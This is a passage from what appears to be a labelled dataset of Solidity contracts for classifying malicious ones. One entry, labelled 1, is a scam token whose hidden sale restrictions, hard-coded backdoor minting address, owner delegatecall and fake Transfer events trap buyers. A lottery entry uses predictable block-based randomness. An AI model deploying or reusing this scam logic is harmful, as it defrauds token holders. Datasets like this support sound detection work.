return TOKEN_SYMBOL;
}
function decimals() public pure returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
function init() private {
require(!initialized);
initialized = true;
if (PAUSED) {
pause();
}
if (!CONTINUE_MINTING) {
finishMinting();
}
emit Initialized();
}
} | 0 | 925 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1461045492991056468287016484048686824852249628073));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 1 | 3,320 |
pragma solidity ^0.4.18;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract Crowdsale {
using SafeMath for uint256;
MintableToken public token;
uint256 public startTime;
uint256 public endTime;
address public wallet;
uint256 public rate;
uint256 public weiRaised;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
function Crowdsale(uint256 _startTime, uint256 _endTime, uint256 _rate, address _wallet) public {
require(_startTime >= now);
require(_endTime >= _startTime);
require(_rate > 0);
require(_wallet != address(0));
token = createTokenContract();
startTime = _startTime;
endTime = _endTime;
rate = _rate;
wallet = _wallet;
}
function createTokenContract() internal returns (MintableToken) {
return new MintableToken();
}
function () external payable {
buyTokens(msg.sender);
}
function buyTokens(address beneficiary) public payable {
require(beneficiary != address(0));
require(validPurchase());
uint256 weiAmount = msg.value;
uint256 tokens = weiAmount.mul(rate);
weiRaised = weiRaised.add(weiAmount);
token.mint(beneficiary, tokens);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
forwardFunds();
}
function forwardFunds() internal {
wallet.transfer(msg.value);
}
function validPurchase() internal view returns (bool) {
bool withinPeriod = now >= startTime && now <= endTime;
bool nonZeroPurchase = msg.value != 0;
return withinPeriod && nonZeroPurchase;
}
function hasEnded() public view returns (bool) {
return now > endTime;
}
}
contract FinalizableCrowdsale is Crowdsale, Ownable {
using SafeMath for uint256;
bool public isFinalized = false;
event Finalized();
function finalize() onlyOwner public {
require(!isFinalized);
require(hasEnded());
finalization();
Finalized();
isFinalized = true;
}
function finalization() internal {
}
}
contract RefundVault is Ownable {
using SafeMath for uint256;
enum State { Active, Refunding, Closed }
mapping (address => uint256) public deposited;
address public wallet;
State public state;
event Closed();
event RefundsEnabled();
event Refunded(address indexed beneficiary, uint256 weiAmount);
function RefundVault(address _wallet) public {
require(_wallet != address(0));
wallet = _wallet;
state = State.Active;
}
function deposit(address investor) onlyOwner public payable {
require(state == State.Active);
deposited[investor] = deposited[investor].add(msg.value);
}
function close() onlyOwner public {
require(state == State.Active);
state = State.Closed;
Closed();
wallet.transfer(this.balance);
}
function enableRefunds() onlyOwner public {
require(state == State.Active);
state = State.Refunding;
RefundsEnabled();
}
function refund(address investor) public {
require(state == State.Refunding);
uint256 depositedValue = deposited[investor];
deposited[investor] = 0;
investor.transfer(depositedValue);
Refunded(investor, depositedValue);
}
}
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
assert(token.transfer(to, value));
}
function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal {
assert(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
assert(token.approve(spender, value));
}
}
contract FreezableToken is StandardToken {
mapping (address => uint64) internal roots;
mapping (bytes32 => uint64) internal chains;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function getFreezingSummaryOf(address _addr) public constant returns (uint tokenAmount, uint freezingCount) {
uint count;
uint total;
uint64 release = roots[_addr];
while (release != 0) {
count ++;
total += balanceOf(address(keccak256(toKey(_addr, release))));
release = chains[toKey(_addr, release)];
}
return (total, count);
}
function getFreezing(address _addr, uint _index) public constant returns (uint64 _release, uint _balance) {
uint64 release = roots[_addr];
for (uint i = 0; i < _index; i ++) {
release = chains[toKey(_addr, release)];
}
return (release, balanceOf(address(keccak256(toKey(_addr, release)))));
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
bytes32 currentKey = toKey(_to, _until);
transfer(address(keccak256(currentKey)), _amount);
freeze(_to, _until);
Freezed(_to, _until, _amount);
}
function releaseOnce() public {
uint64 head = roots[msg.sender];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
address currentAddress = address(keccak256(currentKey));
uint amount = balances[currentAddress];
delete balances[currentAddress];
balances[msg.sender] += amount;
if (next == 0) {
delete roots[msg.sender];
}
else {
roots[msg.sender] = next;
}
Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal constant returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
uint64 head = roots[_to];
if (head == 0) {
roots[_to] = _until;
return;
}
bytes32 headKey = toKey(_to, head);
uint parent;
bytes32 parentKey;
while (head != 0 && _until > head) {
parent = head;
parentKey = headKey;
head = chains[headKey];
headKey = toKey(_to, head);
}
if (_until == head) {
return;
}
if (head != 0) {
chains[toKey(_to, _until)] = head;
}
if (parent == 0) {
roots[_to] = _until;
}
else {
chains[parentKey] = _until;
}
}
}
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
require(_value > 0);
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract TokenTimelock {
using SafeERC20 for ERC20Basic;
ERC20Basic public token;
address public beneficiary;
uint64 public releaseTime;
function TokenTimelock(ERC20Basic _token, address _beneficiary, uint64 _releaseTime) public {
require(_releaseTime > now);
token = _token;
beneficiary = _beneficiary;
releaseTime = _releaseTime;
}
function release() public {
require(now >= releaseTime);
uint256 amount = token.balanceOf(this);
require(amount > 0);
token.safeTransfer(beneficiary, amount);
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner {
bytes32 currentKey = toKey(_to, _until);
mint(address(keccak256(currentKey)), _amount);
freeze(_to, _until);
Freezed(_to, _until, _amount);
}
}
contract usingConsts {
uint constant TOKEN_DECIMALS = 18;
uint8 constant TOKEN_DECIMALS_UINT8 = 18;
uint constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string constant TOKEN_NAME = "GlobalSpy";
string constant TOKEN_SYMBOL = "SPY";
bool constant PAUSED = true;
address constant TARGET_USER = 0xC46E5282CA98B982B9cd5d7B029a77573b2f8307;
uint constant START_TIME = 1521507420;
bool constant CONTINUE_MINTING = true;
}
contract MainToken is usingConsts, FreezableMintableToken, BurnableToken, Pausable {
function MainToken() {
}
function name() constant public returns (string _name) {
return TOKEN_NAME;
}
function symbol() constant public returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() constant public returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
}
contract CappedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public cap;
function CappedCrowdsale(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
function validPurchase() internal view returns (bool) {
bool withinCap = weiRaised.add(msg.value) <= cap;
return super.validPurchase() && withinCap;
}
function hasEnded() public view returns (bool) {
bool capReached = weiRaised >= cap;
return super.hasEnded() || capReached;
}
}
contract RefundableCrowdsale is FinalizableCrowdsale {
using SafeMath for uint256;
uint256 public goal;
RefundVault public vault;
function RefundableCrowdsale(uint256 _goal) public {
require(_goal > 0);
vault = new RefundVault(wallet);
goal = _goal;
}
function forwardFunds() internal {
vault.deposit.value(msg.value)(msg.sender);
}
function claimRefund() public {
require(isFinalized);
require(!goalReached());
vault.refund(msg.sender);
}
function finalization() internal {
if (goalReached()) {
vault.close();
} else {
vault.enableRefunds();
}
super.finalization();
}
function goalReached() public view returns (bool) {
return weiRaised >= goal;
}
}
contract MainCrowdsale is usingConsts, FinalizableCrowdsale {
function hasStarted() public constant returns (bool) {
return now >= startTime;
}
function finalization() internal {
super.finalization();
if (PAUSED) {
MainToken(token).unpause();
}
if (!CONTINUE_MINTING) {
token.finishMinting();
}
token.transferOwnership(TARGET_USER);
}
function buyTokens(address beneficiary) public payable {
require(beneficiary != address(0));
require(validPurchase());
uint256 weiAmount = msg.value;
uint256 tokens = weiAmount.mul(rate).div(1 ether);
weiRaised = weiRaised.add(weiAmount);
token.mint(beneficiary, tokens);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
forwardFunds();
}
}
contract Checkable {
address private serviceAccount;
bool private triggered = false;
event Triggered(uint balance);
function Checkable() public {
serviceAccount = msg.sender;
}
function changeServiceAccount(address _account) onlyService public {
assert(_account != 0);
serviceAccount = _account;
}
function isServiceAccount() constant public returns (bool) {
return msg.sender == serviceAccount;
}
function check() onlyService notTriggered payable public {
if (internalCheck()) {
Triggered(this.balance);
triggered = true;
internalAction();
}
}
function internalCheck() internal returns (bool);
function internalAction() internal;
modifier onlyService {
require(msg.sender == serviceAccount);
_;
}
modifier notTriggered() {
require(!triggered);
_;
}
}
contract BonusableCrowdsale is usingConsts, Crowdsale {
function buyTokens(address beneficiary) public payable {
require(beneficiary != address(0));
require(validPurchase());
uint256 weiAmount = msg.value;
uint256 bonusRate = getBonusRate(weiAmount);
uint256 tokens = weiAmount.mul(bonusRate).div(1 ether);
weiRaised = weiRaised.add(weiAmount);
token.mint(beneficiary, tokens);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
forwardFunds();
}
function getBonusRate(uint256 weiAmount) internal returns (uint256) {
uint256 bonusRate = rate;
uint[2] memory weiRaisedStartsBoundaries = [uint(0),uint(0)];
uint[2] memory weiRaisedEndsBoundaries = [uint(30000000000000000000000),uint(30000000000000000000000)];
uint64[2] memory timeStartsBoundaries = [uint64(1521507420),uint64(1521702000)];
uint64[2] memory timeEndsBoundaries = [uint64(1521702000),uint64(1522303200)];
uint[2] memory weiRaisedAndTimeRates = [uint(200),uint(100)];
for (uint i = 0; i < 2; i++) {
bool weiRaisedInBound = (weiRaisedStartsBoundaries[i] <= weiRaised) && (weiRaised < weiRaisedEndsBoundaries[i]);
bool timeInBound = (timeStartsBoundaries[i] <= now) && (now < timeEndsBoundaries[i]);
if (weiRaisedInBound && timeInBound) {
bonusRate += bonusRate * weiRaisedAndTimeRates[i] / 1000;
}
}
uint[4] memory weiAmountBoundaries = [uint(10000000000000000000),uint(5000000000000000000),uint(5000000000000000000),uint(1000000000000000000)];
uint[4] memory weiAmountRates = [uint(200),uint(100),uint(0),uint(50)];
for (uint j = 0; j < 4; j++) {
if (weiAmount >= weiAmountBoundaries[j]) {
bonusRate += bonusRate * weiAmountRates[j] / 1000;
break;
}
}
return bonusRate;
}
}
contract TemplateCrowdsale is usingConsts, MainCrowdsale
, BonusableCrowdsale
, RefundableCrowdsale
, CappedCrowdsale
{
event Initialized();
bool public initialized = false;
function TemplateCrowdsale(MintableToken _token)
Crowdsale(START_TIME > now ? START_TIME : now, 1526364000, 5000 * TOKEN_DECIMAL_MULTIPLIER, 0xC46E5282CA98B982B9cd5d7B029a77573b2f8307)
CappedCrowdsale(30000000000000000000000)
RefundableCrowdsale(1000000000000000000000)
{
token = _token;
}
function init() public onlyOwner {
require(!initialized);
initialized = true;
if (PAUSED) {
MainToken(token).pause();
}
address[1] memory addresses = [address(0xc46e5282ca98b982b9cd5d7b029a77573b2f8307)];
uint[1] memory amounts = [uint(20000000000000000000000000)];
uint64[1] memory freezes = [uint64(0)];
for (uint i = 0; i < addresses.length; i ++) {
if (freezes[i] == 0) {
token.mint(addresses[i], amounts[i]);
}
else {
FreezableMintableToken(token).mintAndFreeze(addresses[i], amounts[i], freezes[i]);
}
}
transferOwnership(TARGET_USER);
Initialized();
}
function createTokenContract() internal returns (MintableToken) {
return MintableToken(0);
}
} | 0 | 547 |
pragma solidity ^0.4.18;
contract Fermat {
address public owner = msg.sender;
uint releaseTime = now + 17280000;
function addBalance() public payable {
}
function getOwner() view public returns (address) {
return owner;
}
function getReleaseTime() view public returns (uint) {
return releaseTime;
}
function withdraw() public {
require(msg.sender == owner);
require(now >= releaseTime);
msg.sender.transfer(this.balance);
}
function getBalance() view public returns (uint256) {
return this.balance;
}
function claim(uint256 a, uint256 b, uint256 c, uint256 n) public {
uint256 value = solve(a, b, c, n);
if (value == 0) {
msg.sender.transfer(this.balance);
}
}
function solve(uint256 a, uint256 b, uint256 c, uint256 n) pure public returns (uint256) {
assert(n > 2);
assert(a > 0);
assert(b > 0);
assert(c > 0);
uint256 aExp = power(a, n);
uint256 bExp = power(b, n);
uint256 cExp = power(c, n);
uint256 sum = add(aExp, bExp);
uint256 difference = sub(sum, cExp);
return difference;
}
function power(uint256 a, uint256 pow) pure public returns (uint256) {
assert(a > 0);
assert(pow > 0);
uint256 result = 1;
if (a == 0) {
return 1;
}
uint256 temp;
for (uint256 i = 0; i < pow; i++) {
temp = result * a;
assert((temp / a) == result);
result = temp;
}
return uint256(result);
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
} | 0 | 1,839 |
pragma solidity ^0.4.24;
contract Lottery{
modifier onlyOwner()
{
require(msg.sender == owner);
_;
}
modifier notPooh(address aContract)
{
require(aContract != address(poohContract));
_;
}
modifier isOpenToPublic()
{
require(openToPublic);
_;
}
event Deposit(
uint256 amount,
address depositer
);
event WinnerPaid(
uint256 amount,
address winner
);
POOH poohContract;
address owner;
bool openToPublic = false;
uint256 ticketNumber = 0;
uint256 winningNumber;
constructor() public
{
poohContract = POOH(0x4C29d75cc423E8Adaa3839892feb66977e295829);
openToPublic = false;
owner = msg.sender;
}
function() payable public { }
function deposit()
isOpenToPublic()
payable public
{
require(msg.value >= 10000000000000000);
address customerAddress = msg.sender;
poohContract.buy.value(msg.value)(customerAddress);
emit Deposit(msg.value, msg.sender);
if(msg.value > 10000000000000000)
{
uint extraTickets = SafeMath.div(msg.value, 10000000000000000);
ticketNumber += extraTickets;
}
if(ticketNumber >= winningNumber)
{
poohContract.exit();
payDev(owner);
payWinner(customerAddress);
resetLottery();
}
else
{
ticketNumber++;
}
}
function myTokens() public view returns(uint256)
{
return poohContract.myTokens();
}
function myDividends() public view returns(uint256)
{
return poohContract.myDividends(true);
}
function ethBalance() public view returns (uint256)
{
return address(this).balance;
}
function openToThePublic()
onlyOwner()
public
{
openToPublic = true;
resetLottery();
}
function returnAnyERC20Token(address tokenAddress, address tokenOwner, uint tokens)
public
onlyOwner()
notPooh(tokenAddress)
returns (bool success)
{
return ERC20Interface(tokenAddress).transfer(tokenOwner, tokens);
}
function payWinner(address winner) internal
{
uint balance = SafeMath.sub(address(this).balance, 50000000000000000);
winner.transfer(balance);
emit WinnerPaid(balance, winner);
}
function payDev(address dev) internal
{
uint balance = SafeMath.div(address(this).balance, 10);
dev.transfer(balance);
}
function resetLottery() internal
isOpenToPublic()
{
ticketNumber = 1;
winningNumber = uint256(keccak256(block.timestamp, block.difficulty))%300;
}
}
contract ERC20Interface
{
function transfer(address to, uint256 tokens) public returns (bool success);
}
contract POOH
{
function buy(address) public payable returns(uint256);
function exit() public;
function myTokens() public view returns(uint256);
function myDividends(bool) public view returns(uint256);
}
library SafeMath {
function div(uint256 a, uint256 b) internal pure returns (uint256)
{
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
} | 0 | 1,566 |
pragma solidity ^0.4.18;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
